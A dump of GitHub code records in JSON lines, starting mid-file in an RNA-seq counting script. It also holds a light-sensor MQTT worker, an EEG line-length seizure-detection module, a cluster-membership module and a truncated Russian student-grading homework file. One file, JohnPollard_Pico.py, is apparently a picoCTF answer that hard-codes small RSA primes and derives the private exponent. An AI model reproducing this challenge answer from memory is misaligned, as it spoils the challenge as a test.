idx, fn in enumerate(filter_names):\n                        try:\n                            is_valid[idx] = valid_after_filter(filters[idx][chrm], filter_types[idx], read_pos)\n                        except KeyError:\n                            continue\n                    ### generate filter combination counts\n                    for idx, comb in enumerate(filter_combs):\n                        if sp.all(is_valid[comb]):\n                            tmp_count[idx + 1].extend(g)\n                    \n            else:\n                sl = line.strip().split('\\t')\n                if len(sl) < 9:\n                    print >> sys.stderr, \"ERROR: invalid SAM line\\n%s\" % line\n                    sys.exit(1)\n\n                (size, op) = (re.split('[^0-9]', sl[5])[:-1], re.split('[0-9]*', sl[5])[1:])\n                size = [int(i) for i in size]\n\n                #chrm = sl[2].replace('chr', '')\n                chrm = sl[2]\n                pos = int(sl[3]) - 1\n                broken = False\n\n                ## is unmapped ?\n                if (int(sl[1]) & 4) == 4:\n                    continue\n\n                ## is secondary ?\n                if options.best_only and (int(sl[1]) & 256 == 256):\n                    continue\n\n                for o in range(len(op)):\n                    if op[o] in ['M', 'D']:\n                        for p in range(size[o]):\n                            try:\n                                g = anno[chrm][pos + p]\n                                if g > 1:\n                                    tmp_count.append(g)\n                                    break\n                            except KeyError:\n                                continue\n                            except IndexError:\n                                if chrm in ['chrM', 'M', 'chrM_rCRS']:\n                                    continue\n                                else:\n                                    print >> sys.stderr, 'ERROR: %i exceeds length of %s' % (pos + p, chrm)\n                    if broken:\n                        break\n                    if not op[o] in ['H', 'I']:\n                        pos += size[o]\n                           \n        ### close file stream\n        if not file == '-':\n            infile.close()\n\n        ### compress remaining counts\n        for idx in range(len(tmp_count)):\n            compressed_counts[idx].extend(compress_counts(sorted(tmp_count[idx]), genes))\n        tmp_count = [[] for i in range(1 + len(filter_combs))]\n\n        ### condense count lists\n        print >> sys.stderr, \"Sorting and condensing compressed list ...\"\n        compressed_counts = condense_compressed_counts(compressed_counts)\n\n        ### resolve gene combinations\n        for idx in range(len(compressed_counts)):\n            extend_list = []\n            for a in range(len(compressed_counts[idx]) -1, -1, -1):\n                if len(idx2gene[compressed_counts[idx][a][0]]) > 1:\n                    for g in idx2gene[compressed_counts[idx][a][0]]:\n                        extend_list.append([gene2idx[tuple([g])], compressed_counts[idx][a][1]])\n                    del compressed_counts[idx][a]\n            compressed_counts[idx].extend(extend_list)\n        compressed_counts = condense_compressed_counts(compressed_counts)\n\n        ### remove gene IDs that encode combinations\n        genes = [genes[i] for i in range(len(genes)) if len(idx2gene[genes[i]]) < 2]\n\n        ### report counts to outfile\n        if options.verbose:\n            print >> sys.stderr, \"Summarizing gene counts ...\"\n\n        for idx in range(len(compressed_counts)):\n            if idx > 0 and (idx - 1) < len(filter_combs):\n                comb_tag = '_'.join([filter_names[i] for i in filter_combs[idx - 1]])\n            else:\n                comb_tag = ''\n\n            outfile = open(options.outfile + comb_tag, 'w')\n            a = 0\n            g = 0\n            ### seek to first position that mapped to gene (0 means not gene found)\n            while g < len(genes):\n                while g < len(genes) and (a == len(compressed_counts[idx]) or genes[g] < compressed_counts[idx][a][0]):\n                    print >> outfile, '%s\\t0' % idx2gene[genes[g]][0]\n                    if options.verbose and g % 100 == 0:\n                        print >> sys.stderr, \"%.2f / 100 percent \\r\" % (float(g) / len(genes) * 100),\n                    g += 1\n                while a < len(compressed_counts[idx]) and g < len(genes) and genes[g] == compressed_counts[idx][a][0]:\n                    print >> outfile, '%s\\t%i' % (idx2gene[genes[g]][0], compressed_counts[idx][a][1])\n                    a += 1\n                    g += 1\n                    if options.verbose and g % 100 == 0:\n                        print >> sys.stderr, \"%.2f / 100 percent \\r\" % (float(g) / len(genes) * 100),\n            outfile.close()\n\n        if options.verbose:\n            t1 = time.time() - time_total\n            print >> sys.stderr, \"\\n... done - total run took %i secs.\" % t1\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"ratschlab/pancanatlas_code_public","sub_path":"sample_processing_rna/count_expression.py","file_name":"count_expression.py","file_ext":"py","file_size_in_byte":31762,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"3"}
+{"seq_id":"23399032816","text":"#!/usr/bin/env python\nimport APDS_9301 as APDS\nimport time\nimport paho.mqtt.client as paho                             #establish connection\nimport threading\nimport DataGestion as dg\n\nclass APDStr(threading.Thread):\n    def __init__(self, client1,bdd,ID,var=60):\n        threading.Thread.__init__(self)\n        self.client1=client1\n        self.var=var\n        self.bdd=bdd;\n        self.ID=ID;\n        try:\n            self.sensor = APDS.adps9300()\n        except IOError:\n            print ('error in APDS :')\n            self.stop()\n        else: \n            print(\"------------------------\")       \n            sql ='INSERT INTO Donnee (IDx,DATA1) VALUES( %s,%s)'\n            val=(self.ID,str(self.sensor.read_lux()));\n            self.bdd.execute(sql,val);\n        self.Terminated = False\n        \n    def stop(self):\n        self.Terminated = True\t\n        \n    def run(self):\n        \n\n        print('\\n APDS is Started')\n        \n        while not self.Terminated:     #add the interupt   \n            ret= self.client1.publish(\"home/lux\",(self.sensor.read_lux()))   \n            \n            \n            time.sleep(self.var)            \n\n\n","repo_name":"wawalou/myBluze_dev","sub_path":"myBluzeBox/APDSworker.py","file_name":"APDSworker.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35425210512","text":"# -*- coding: utf-8 -*-\n\n\"\"\" Calculate line length as per Esteller 2001\n    http://ieeex plore.ieee.org/docum ent/10205 45/.\n\n\"\"\"\n\nfrom typing import Tuple\n\nfrom mne.io import Raw\nimport numpy as np\nimport numpy.typing as npt\nimport pandas as pd\n\nfrom .epi_index import cusum, find_onsets\n\n\ndef line_length(raw: Raw, window: float = 1,\n                step: float = 0.25) -> Tuple[npt.NDArray, npt.NDArray]:\n    '''\n    calculate line length is segments of width window with time steps\n    of time step\n\n    Parameters\n    ----------\n    raw : MNE Raw\n        EEG data\n    window : float, optional\n        window duration in seconds, by default 1\n    step : float, optional\n        step in seconds, by default 0.25\n\n    Returns\n    -------\n    ndarray\n        line length values for each channel\n    ndarray\n        standard deviation of the line length in the first interval\n    '''\n    data = raw.get_data()\n    window_pnts = int(raw.info['sfreq']*window)\n    step_pnts = int(step*raw.info['sfreq'])\n    time_pnts = int(1+np.ceil((raw.n_times-window_pnts)/step_pnts))\n    line_len = np.zeros((data.shape[0], time_pnts))\n    ll = np.abs(np.diff(data))\n    sd1 = np.std(ll[:, :window_pnts], axis=-1)\n    for idx in range(time_pnts-1):\n        start = idx*step_pnts\n        end = start+window_pnts\n        line_len[:, idx] = np.mean(ll[:, start:end], axis=-1)\n\n    idx = time_pnts-1\n    start = idx*step_pnts\n    line_len[:, idx] = np.mean(ll[:, start:], axis=-1)\n\n    return line_len, sd1\n\n\ndef ll_detect_seizure(raw: Raw, window: float = 1, step: float = 0.25,\n                      threshold: float = 1\n                      ) -> Tuple[npt.NDArray, npt.NDArray, npt.NDArray]:\n    '''\n    Find the seizure onset in each channel defined as the first time that\n    line length is threshold standard deviations above the sd of the first\n    segment\n\n    Parameters\n    ----------\n    raw : MNE Raw\n        EEG data\n    window : float, optional\n        window duration in seconds, by default 1\n    step : float, optional\n        step in seconds, by default 0.25\n    threshold: float, optional\n        number of standard deviations to use for the seizure threshold,\n        by default 1\n\n    Returns\n    -------\n    ndarray\n        seizure onset time for each channel of raw\n    ndarray\n        line length values for each channel\n    ndarray\n        standard deviation of the line length in the first interval\n    '''\n    ll, sd = line_length(raw, window, step)\n    thresholds = sd*threshold + ll[:, 0]\n    sz = np.zeros_like(thresholds)\n    for i, thresh in enumerate(thresholds):\n        test = np.where(ll[i, :] > thresh)[0]\n        if len(test) > 0:\n            sz[i] = window/2 + (step*test[0])\n        else:\n            sz[i] = np.nan\n\n    return sz + raw.times[0], ll, sd\n\n\ndef line_length_EI(raw: Raw, window: float = 1, step: float = 0.25,\n                   tau: float = 1, H: float = 5) -> pd.DataFrame:\n    '''\n    Find the seizure onset in each channel defined as the first time that\n    line length is threshold standard deviations above the sd of the first\n    segment\n\n    Parameters\n    ----------\n    raw : MNE Raw\n        EEG data\n    window : float, optional\n        window duration in seconds, by default 1\n    step : float, optional\n        step in seconds, by default 0.25\n    tau: float, optional\n       tau for the EI calculation, by default 1\n    H : float, optional\n        time in seconds of the duration of the EI calculation, by default 5\n\n    Returns\n    -------\n    pd.DataFrame\n        includes columns `LLEI_raw` and `LLEI`\n    '''\n    ___, ll, sd = ll_detect_seizure(raw, window, step)\n    threshold = np.max(sd)\n    bias = threshold/5\n    U_n = cusum(ll, bias)\n    onsets = find_onsets(U_n, raw.ch_names, window, step, H, threshold)\n    onsets['LLEI_raw'] = 0\n    N0 = onsets.detection_time.min(skipna=True)\n    for i in range(len(raw.ch_names)):\n        N_di = onsets.detection_time[i]\n        if not np.isnan(N_di):\n            denom = N_di - N0 + tau\n            N_di_idx = int(onsets.detection_idx[i])\n            end = N_di_idx + int(H/step)\n            if end > ll.shape[-1]:\n                onsets.loc[i, 'LLEI_raw'] = np.sum(ll[i, N_di_idx:])/denom\n            else:\n                onsets.loc[i, 'LLEI_raw'] = np.sum(ll[i, N_di_idx:end])/denom\n\n    EI_max = onsets['LLEI_raw'].max()\n    onsets['LLEI'] = onsets.LLEI_raw/EI_max\n    return onsets\n","repo_name":"lneisenman/seeg","sub_path":"src/seeg/line_length.py","file_name":"line_length.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"27653983519","text":"import random\nimport math\nfrom sympy.ntheory import isprime\nimport binascii\nimport base64\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(\n            lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)\n\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n\np = 73176001\nq = 67867967\ne = 65537\nc = \"MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB\"\nt = (p-1)*(q-1)\nd = modinv(e,t)\nprint(base64.b64decode(\"MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB\"))\n","repo_name":"Necron3574/CTF-Challenges","sub_path":"JohnPollard_Pico.py","file_name":"JohnPollard_Pico.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40200442110","text":"import copy\nimport datetime as dt\nimport random\nimport threading\nimport typing as t\n\nfrom dataclasses import dataclass\n\nfrom dimensigon.utils.helpers import get_now\nfrom dimensigon.utils.typos import Id\n\ndate_format = \"%m/%d/%Y, %H:%M:%S %z\"\n\n\n@dataclass\nclass _ClusterRegister:\n    id: Id\n    birth: dt.datetime = None\n    keepalive: dt.datetime = None\n    death: dt.datetime = None\n    coordinator: bool = False\n\n    def to_dict(self, dateformat=date_format):\n        data = {'id': self.id}\n        if self.birth:\n            data.update(birth=self.birth.strftime(dateformat))\n        if self.keepalive:\n            data.update(keepalive=self.keepalive.strftime(dateformat))\n        if self.death:\n            data.update(death=self.death.strftime(dateformat))\n        if self.coordinator:\n            data.update(coordinator=True)\n        return data\n\n    def __eq__(self, other: '_ClusterRegister'):\n        if isinstance(other, self.__class__):\n            return self.id == other.id and self.birth == other.birth \\\n                   and self.keepalive == other.keepalive \\\n                   and self.death == other.death \\\n                   and self.coordinator == other.coordinator\n        else:\n            return False\n\n    @staticmethod\n    def from_dict(dto, dateformat=date_format):\n        ident = dto['id']\n        if dto.get('birth', None):\n            birth = dt.datetime.strptime(dto['birth'], dateformat)\n        else:\n            birth = None\n\n        if dto.get('keepalive', None):\n            keepalive = dt.datetime.strptime(dto['keepalive'], dateformat)\n        else:\n            keepalive = None\n\n        if dto.get('death', None):\n            death = dt.datetime.strptime(dto['death'], dateformat)\n        else:\n            death = None\n\n        return _ClusterRegister(ident, birth=birth, keepalive=keepalive, death=death)\n\n\n@dataclass\nclass _ClusterRegisterSession(_ClusterRegister):\n    session: Id = None\n\n    def to_dict(self, dateformat=date_format):\n        data = super().to_dict(dateformat)\n        data['session'] = self.session\n        return data\n\n    def __eq__(self, other: '_ClusterRegisterSession'):\n        return super().__eq__(other) and self.session == other.session\n\n    @classmethod\n    def from_dict(cls, dto, dateformat=date_format):\n        kwargs = dict(id=dto['id'], session=dto['session'])\n        if dto.get('birth', None):\n            kwargs['birth'] = dt.datetime.strptime(dto['birth'], dateformat)\n\n        if dto.get('keepalive', None):\n            kwargs['keepalive'] = dt.datetime.strptime(dto['keepalive'], dateformat)\n\n        if dto.get('death', None):\n            kwargs['death'] = dt.datetime.strptime(dto['death'], dateformat)\n\n        return cls(**kwargs)\n\n\nclass Cluster(object):\n    _register_class = _ClusterRegister\n    _cluster: t.Dict[Id, type(_register_class)] = {}\n    _lock = threading.RLock()\n\n    def __init__(self, threshold=None):\n        self.threshold = threshold or dt.timedelta()\n\n    def __getitem__(self, iden):\n        return self._cluster[iden].to_dict()\n\n    def __contains__(self, iden):\n        try:\n            cr = self._cluster[iden]\n        except KeyError:\n            return False\n        if cr.death is None:\n            return True\n\n    def __iter__(self):\n        with self._lock:\n            for cr in self._cluster.values():\n                if cr.death is None:\n                    yield cr.id\n\n    def set_alive(self, iden: Id, alive=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            alive = alive or get_now()\n            initial_cr = copy.deepcopy(self._cluster.get(iden, None))\n            if iden in self._cluster:\n                if self._cluster[iden].death is not None:\n                    if self._cluster[iden].birth < alive:\n                        self._cluster[iden].birth = alive\n                    self._cluster[iden].keepalive = alive\n                    self._cluster[iden].death = None\n                elif alive < self._cluster[iden].birth:\n                    self._cluster[iden].birth = alive\n                else:\n                    return None\n            else:\n                self._cluster[iden] = self._register_class(iden, birth=alive, keepalive=alive)\n            return self._cluster[iden].to_dict() if initial_cr != self._cluster[iden] else None\n\n    def set_keepalive(self, iden: Id, keepalive=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            keepalive = keepalive or get_now()\n            initial_cr = copy.deepcopy(self._cluster.get(iden, None))\n            if iden in self._cluster:\n                if self._cluster[iden].death is not None:\n                    self.set_alive(iden)\n                if not self._cluster[iden].keepalive or self._cluster[iden].keepalive < keepalive - self.threshold:\n                    self._cluster[iden].keepalive = keepalive\n            else:\n                self._cluster[iden] = self._register_class(iden, birth=keepalive, keepalive=keepalive)\n            return self._cluster[iden].to_dict() if self._cluster[iden] != initial_cr else None\n\n    def set_death(self, iden: Id, death=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            death = death or get_now()\n            if iden in self._cluster:\n                cr = self._cluster[iden]\n                if cr.death is None:\n                    if death > cr.birth:\n                        cr.death = death\n                    else:\n                        cr.death = cr.birth\n                else:\n                    if death and cr.death > death:\n                        cr.death = death\n                    else:\n                        return None\n            else:\n                self._cluster[iden] = self._register_class(iden, birth=death, death=death)\n            return self._cluster[iden].to_dict()\n\n    def update_cluster(self, in_cr_list: t.Union[dict, list]) -> t.List[_ClusterRegister]:\n        if isinstance(in_cr_list, list):\n            return self._update_cluster([self._register_class.from_dict(cr) for cr in in_cr_list])\n        else:\n            return self._update_cluster([self._register_class.from_dict(in_cr_list)])\n\n    def _update_cluster(self, in_cr_list: t.List[_ClusterRegister]):\n        with self._lock:\n            changed = []\n            for in_cr in in_cr_list:\n                updated = False\n                if in_cr.id in self._cluster:\n                    cr = self._cluster[in_cr.id]\n                    if in_cr.birth > cr.birth:\n                        self._cluster[in_cr.id] = in_cr\n                        cr = self._cluster[in_cr.id]\n                        updated = True\n                    if in_cr.keepalive is not None and (cr.keepalive is None or in_cr.keepalive > cr.keepalive):\n                        cr.keepalive = in_cr.keepalive\n                        cr.death = None\n                        updated = True\n                    if in_cr.death is not None and cr.death is not None and in_cr.death > cr.death:\n                        cr.death = in_cr.death\n                        updated = True\n                    if cr.death is None and in_cr.death is not None and in_cr.death > cr.birth:\n                        cr.death = in_cr.death\n                        updated = True\n                    elif in_cr.birth is not None and cr.death is not None and in_cr.birth > cr.death:\n                        cr.birth = in_cr.birth\n                        cr.death = in_cr.death\n                        updated = True\n                else:\n                    self._cluster[in_cr.id] = in_cr\n                    updated = True\n                if updated:\n                    changed.append(in_cr.id)\n            return changed\n\n    def get_alive(self) -> t.List[Id]:\n        with self._lock:\n            return [cr.id for cr in self._cluster.values() if cr.birth is not None and cr.death is None]\n\n    def get_delta_keepalive(self, delta: dt.timedelta):\n        with self._lock:\n            now = get_now()\n            return [cr.id for cr in self._cluster.values() if\n                    cr.birth is not None and cr.death is None and (now - (cr.keepalive or cr.birth)) < delta]\n\n    def get_oldest_alive(self) -> t.Union[Id, None]:\n        with self._lock:\n            cr_list = [cr for cr in self._cluster.values() if cr.death is None]\n            cr_list.sort(key=lambda x: x.birth)\n            return cr_list[0].id\n\n    def get_cluster(self) -> t.List[t.Dict]:\n        with self._lock:\n            return [cr.to_dict() for cr in self._cluster.values()]\n\n    def get(self, iden) -> t.Dict:\n        with self._lock:\n            return self._cluster[iden].to_dict()\n\n    # only for testing purposes\n    def clear_cluster(self):\n        self._cluster = {}\n\n\nclass ClusterKeepAlive(Cluster):\n\n    def set_alive(self, iden: Id, alive=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            alive = alive or get_now()\n            if iden in self._cluster:\n                if self._cluster[iden].death is not None:\n                    self._cluster[iden].birth = alive\n                    self._cluster[iden].death = None\n                else:\n                    self._cluster[iden].birth = alive\n            else:\n                self._cluster[iden] = self._register_class(iden, birth=alive)\n            return self._cluster[iden].to_dict()\n\n\nclass ClusterCoordinator(Cluster):\n    _cluster: t.Dict[Id, _ClusterRegisterSession] = {}\n    _register_class = _ClusterRegister\n\n    def set_alive(self, iden: Id) -> t.Dict:\n        with self._lock:\n            super().set_alive(iden)\n            if not self.coordinators:\n                self._cluster[iden].coordinator = True\n            return self._cluster[iden].to_dict()\n\n    def set_death(self, iden: Id, death=None) -> t.List[t.Dict]:\n        with self._lock:\n            death = super().set_death(iden, death)\n            data = [death]\n            if self._cluster[iden].coordinator:\n                self._cluster[iden].coordinator = False\n                death['coordinator'] = False\n                new_coordinator = self.try_set_coordinator(self.get_oldest_alive())\n                if new_coordinator:\n                    data.append(self._cluster[self.get_oldest_coordinator()].to_dict())\n            return data\n\n    @property\n    def coordinators(self) -> t.List[_ClusterRegister]:\n        with self._lock:\n            return [cr for cr in self._cluster.values() if cr.coordinator and cr.death is None]\n\n    def get_coordinators(self) -> t.List[Id]:\n        with self._lock:\n            return [cr.id for cr in self._cluster.values() if cr.coordinator and cr.death is None]\n\n    def get_oldest_coordinator(self) -> t.Union[Id, None]:\n        with self._lock:\n            coord_cr_list = [cr for cr in self._cluster.values() if cr.coordinator and cr.death is None]\n        if coord_cr_list:\n            coord_cr_list.sort(key=lambda x: x.birth)\n            return coord_cr_list[0].id\n        else:\n            return None\n\n    def try_set_coordinator(self, iden: Id):\n        with self._lock:\n            if not self.coordinators:\n                self._cluster[iden].coordinator = True\n                return True\n            else:\n                return False\n\n    def set_coordinator(self, iden: Id):\n        with self._lock:\n            updated = False\n            for cr in self._cluster.values():\n                if cr.coordinator:\n                    updated = True\n                    cr.coordinator = False\n            if not self._cluster[iden].coordinator:\n                self._cluster[iden].coordinator = True\n                updated = True\n            return updated\n\n    def _update_cluster(self, in_cr_list: t.List[_ClusterRegister]):\n        with self._lock:\n            updated = super()._update_cluster(in_cr_list)\n            for in_cr in in_cr_list:\n                if self._cluster[in_cr.id].death is None:\n                    self._cluster[in_cr.id].coordinator = self._cluster[in_cr.id].coordinator or in_cr.coordinator\n                    if in_cr.coordinator and not self._cluster[in_cr.id].coordinator:\n                        updated = True\n\n            # select oldest coordinators\n            coordinator = self.get_oldest_coordinator()\n            if coordinator is None:\n                cr_l = list(self._cluster.values())\n                cr_l.sort(key=lambda x: x.birth)\n                if len(cr_l) > 0:\n                    coordinator = cr_l[0].id\n            if coordinator:\n                coord_updated = self.set_coordinator(coordinator)\n\n            return updated or coord_updated\n\n\nclass ClusterSession(Cluster):\n    _register_class = _ClusterRegisterSession\n\n    def __init__(self, threshold: dt.timedelta = None):\n        self._session = None\n        self.threshold = threshold\n\n    def set_session(self):\n        if self._session is None:\n            self._session = int(random.random() * 1000000000000)\n\n    @property\n    def session(self):\n        return self._session\n\n    def set_alive(self, iden: Id, session: Id, alive=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            alive = alive or get_now()\n            if iden in self._cluster:\n                if self._cluster[iden].session == session:\n                    if self._cluster[iden].death is not None:\n                        if alive < self._cluster[iden].birth:\n                            self._cluster[iden].birth = alive\n                        self._cluster[iden].keepalive = alive\n                        self._cluster[iden].death = None\n                    else:\n                        return None\n                else:\n                    self._cluster[iden].session = session\n                    self._cluster[iden].birth = alive\n                    self._cluster[iden].keepalive = alive\n                    self._cluster[iden].death = None\n            else:\n                self._cluster[iden] = self._register_class(iden, session=session, birth=alive, keepalive=alive)\n            return self._cluster[iden].to_dict()\n\n    def set_death(self, iden: Id, session: Id, death=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            death = death or get_now()\n            initial_cr = copy.deepcopy(self._cluster.get(iden, None))\n            if iden in self._cluster:\n                cr = self._cluster[iden]\n                if self._cluster[iden].session == session:\n                    if cr.death is None:\n                        if death > cr.birth:\n                            cr.death = death\n                        else:\n                            cr.death = cr.birth\n                    else:\n                        if death and cr.death > death:\n                            cr.death = death\n                        else:\n                            return None\n                else:\n\n                    if cr.death is None:\n                        if cr.birth < death:\n                            self._cluster[iden].death = death\n                            self._cluster[iden].birth = death\n                            self._cluster[iden].session = session\n                    else:\n                        if cr.death < death:\n                            self._cluster[iden].death = death\n                            self._cluster[iden].birth = death\n                            self._cluster[iden].session = session\n            else:\n                self._cluster[iden] = self._register_class(iden, session=session, birth=death, death=death)\n            if initial_cr != self._cluster[iden]:\n                return self._cluster[iden].to_dict()\n\n    def set_keepalive(self, iden: Id, session: Id = None, keepalive=None) -> t.Optional[t.Dict]:\n        with self._lock:\n            keepalive = keepalive or get_now()\n            if iden in self._cluster:\n                if self._cluster[iden].session == session:\n                    self.set_alive(iden, session, keepalive)\n                self._cluster[iden].keepalive = keepalive\n            else:\n                self._cluster[iden] = self._register_class(iden, session=session, birth=keepalive, keepalive=keepalive)\n            return self._cluster[iden].to_dict()\n\n    def _update_cluster(self, in_cr_list: t.List[_ClusterRegisterSession]):\n        with self._lock:\n            updated = False\n            for in_cr in in_cr_list:\n                if in_cr.id in self._cluster:\n                    cr = self._cluster[in_cr.id]\n                    if cr.session == in_cr.session:\n                        if in_cr.birth < cr.birth:\n                            cr.birth = in_cr.birth\n                            updated = True\n                        if in_cr.keepalive is not None and (cr.keepalive is None or in_cr.keepalive > cr.keepalive):\n                            cr.keepalive = in_cr.keepalive\n                            updated = True\n                        if in_cr.death is not None and cr.death is not None and in_cr.death < cr.death:\n                            cr.death = in_cr.death\n                            updated = True\n                        if cr.death is None and in_cr.death is not None and in_cr.death > cr.birth:\n                            cr.death = in_cr.death\n                            updated = True\n                        elif in_cr.birth is not None and cr.death is not None and in_cr.birth > cr.death:\n                            cr.birth = in_cr.birth\n                            cr.death = in_cr.death\n                            updated = True\n                    else:\n                        # newer session is stored\n                        if cr.birth < in_cr.birth:\n                            self._cluster[in_cr.id] = in_cr\n                            updated = True\n                else:\n                    self._cluster[in_cr.id] = in_cr\n                    updated = True\n            return updated\n","repo_name":"dimensigon/dimensigon","sub_path":"dimensigon/utils/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":17756,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"20177677194","text":"text = ' Домашнее задание к лекции 7 '\nprint(text.center(50, \"%\"))\ntext = ' Задание 1-4 '\nprint(text.center(50))\nfrom pprint import pprint\n###################################\nclass Student:\n    def __init__(self, name, surname, gender):\n        self.name = name\n        self.surname = surname\n        self.gender = gender\n        self.finished_courses = []\n        self.courses_in_progress = []\n        self.grades = {}\n \n    def rate_hw(self, lecturer, course, grade):\n        if isinstance(lecturer, Lecturer) and course in lecturer.courses_attached and course in self.courses_in_progress:\n            if course in lecturer.grades:\n                lecturer.grades[course] += [grade]\n            else:\n                lecturer.grades[course] = [grade]\n        else:\n            return 'Ошибка'\n\n    def __str__(self):\n        res = f' Студент\\n Имя = {self.name}\\n Фамилия = {self.surname}\\n Средняя оценка за лекции: = {self.average():0.1f}\\n Курсы в процессе изучени��: {self.p_courses()}\\n Завершенные курсы: {self.f_courses()}'\n\n        return res\n\n    def p_courses(self):\n        courses_progress = \", \".join(self.courses_in_progress)\n        return courses_progress\n\n    def f_courses(self):\n        courses_finished = \", \".join(self.finished_courses)\n        return courses_finished\n\n    def average (self):\n        t = []\n        f = []\n        for k, v in self.grades.items():\n            t.append(v)\n        for i in t:\n            f.extend(i)\n        sr = sum(f)/len(f) \n        return sr\n    def __lt__(self, other):\n        if not isinstance(other, Student):\n            return 'Это сравнивать нельзя!\\n'\n        lt = self.average() < other.average()\n        if lt == True:\n            lt_res = f'У {self.name} {self.surname} меньше средняя оценка чем у {other.name} {other.surname}\\n'\n        else: lt_res = f'У {self.name} {self.surname} больше средняя оценка чем у {other.name} {other.surname}\\n'\n        return lt_res\n    def __eq__(self, other):\n        if not isinstance(other, Student):\n            return 'Это сравнивать нельзя!\\n'\n        eq = self.average() == other.average()\n        if eq == True:\n            eq_res = f'У {self.name} {self.surname} средняя оценка равна средней оценке {other.name} {other.surname}\\n'\n        else: eq_res = f'У {self.name} {self.surname} средняя оценка НЕ равна средней оценке {other.name} {other.surname}\\n'\n        return eq_res\n###################################    \nclass Mentor:\n    def __init__(self, name, surname):\n        self.name = name\n        self.surname = surname\n###################################   \nclass Lecturer(Mentor):\n    def __init__(self, name, surname):\n        super().__init__(name, surname)\n        self.grades = {}\n        self.courses_attached = []\n    def __str__(self):\n        res = f' Лектор\\n Имя = {self.name}\\n Фамилия = {self.surname}\\n Средняя оценка за лекции: = {self.average():0.1f}'\n        return res\n    \n    def average (self):\n        t = []\n        f = []\n        for k, v in self.grades.items():\n            t.append(v)\n        for i in t:\n            f.extend(i)\n        sr = sum(f)/len(f) \n        return sr\n\n    def __lt__(self, other):\n        if not isinstance(other, Lecturer):\n            return 'Это сравнивать нельзя!\\n'\n        lt = self.average() < other.average()\n        if lt == True:\n            lt_res = f'У {self.name} {self.surname} меньше средняя оценка чем у {other.name} {other.surname}\\n'\n        else: lt_res = f'У {self.name} {self.surname} больше средняя оценка чем у {other.name} {other.surname}\\n'\n        return lt_res\n    def __eq__(self, other):\n        if not isinstance(other, Lecturer):\n            return 'Это сравнивать нельзя!\\n'\n        eq = self.average() == other.average()\n        if eq == True:\n            eq_res = f'У {self.name} {self.surname} средняя оценка равна средней оценке {other.name} {other.surname}\\n'\n        else: eq_res = f'У {self.name} {self.surname} средняя оценка НЕ равна средней оценке {other.name} {other.surname}\\n'\n        return eq_res\n###################################\nclass Reviewer(Mentor):\n    def __init__(self, name, surname):\n        super().__init__(name, surname)\n        self.courses_attached = []\n    def rate_hw(self, student, course, grade):\n        if isinstance(student, Student) and course in self.courses_attached and course in student.courses_in_progress:\n            if course in student.grades:\n                student.grades[course] += [grade]\n            else:\n                student.grades[course] = [grade]\n        else:\n            return 'Ошибка'\n    def __str__(self):\n        res = f' Проверяющий\\n Имя = {self.name}\\n Фамилия = {self.surname}'\n        return res\n###################################\n# Новые объекты класса Student \nstudent_1 = Student('Владимир', 'Каменев', 'муж.')\nstudent_2 = Student('Иван', 'Пупкин', 'муж.')\n\nstudent_1.courses_in_progress += ['Английский для программистов','Основы языка Python','Git-система контроля версий']\nstudent_1.finished_courses += ['Английский для программистов']\nstudent_2.courses_in_progress += ['Английский для программистов','Основы языка Python']\n\n# Новые объекты класса Lecturer\nlecturer_1 = Lecturer('Олег', 'Булыгин')\nlecturer_2 = Lecturer('Алёна', 'Батицкая')\nlecturer_3 = Lecturer('Виктор', 'Иванов')\n\nlecturer_1.courses_attached += ['Основы языка Python']\nlecturer_1.courses_attached += ['Git-система контроля версий']\nlecturer_2.courses_attached += ['Git-система контроля версий']\nlecturer_3.courses_attached += ['Английский для программистов']\nlecturer_3.courses_attached += ['Git-система контроля версий']\n\nstudent_1.rate_hw(lecturer_1, 'Основы языка Python', 10)\nstudent_1.rate_hw(lecturer_1, 'Основы языка Python', 10)\nstudent_2.rate_hw(lecturer_1, 'Основы языка Python', 10)\nstudent_1.rate_hw(lecturer_3, 'Английский для программистов', 10)\nstudent_1.rate_hw(lecturer_2, 'Git-система контроля версий', 10)\nstudent_1.rate_hw(lecturer_3, 'Git-система контроля версий', 8)\nstudent_1.rate_hw(lecturer_1, 'Git-система контроля версий', 9)\n\n# Новые объекты класса Reviewer\nsuper_reviewer = Reviewer('Man', 'Super')\nsuper_reviewer.courses_attached += ['Основы языка Python']\nsuper_reviewer.courses_attached += ['Git-система контроля версий']\nsuper_reviewer.courses_attached += ['Английский для программистов']\n \nsuper_reviewer.rate_hw(student_1, 'Основы языка Python', 9)\nsuper_reviewer.rate_hw(student_1, 'Основы языка Python', 4)\nsuper_reviewer.rate_hw(student_2, 'Основы языка Python', 8)\nsuper_reviewer.rate_hw(student_1, 'Git-система контроля версий', 7)\nsuper_reviewer.rate_hw(student_2, 'Git-система контроля версий', 6)\nsuper_reviewer.rate_hw(student_1, 'Английский для программистов', 4)\nsuper_reviewer.rate_hw(student_2, 'Английский для программистов', 5)\n\n#Списки лекторов и студентов\nstudent_list = [student_1, 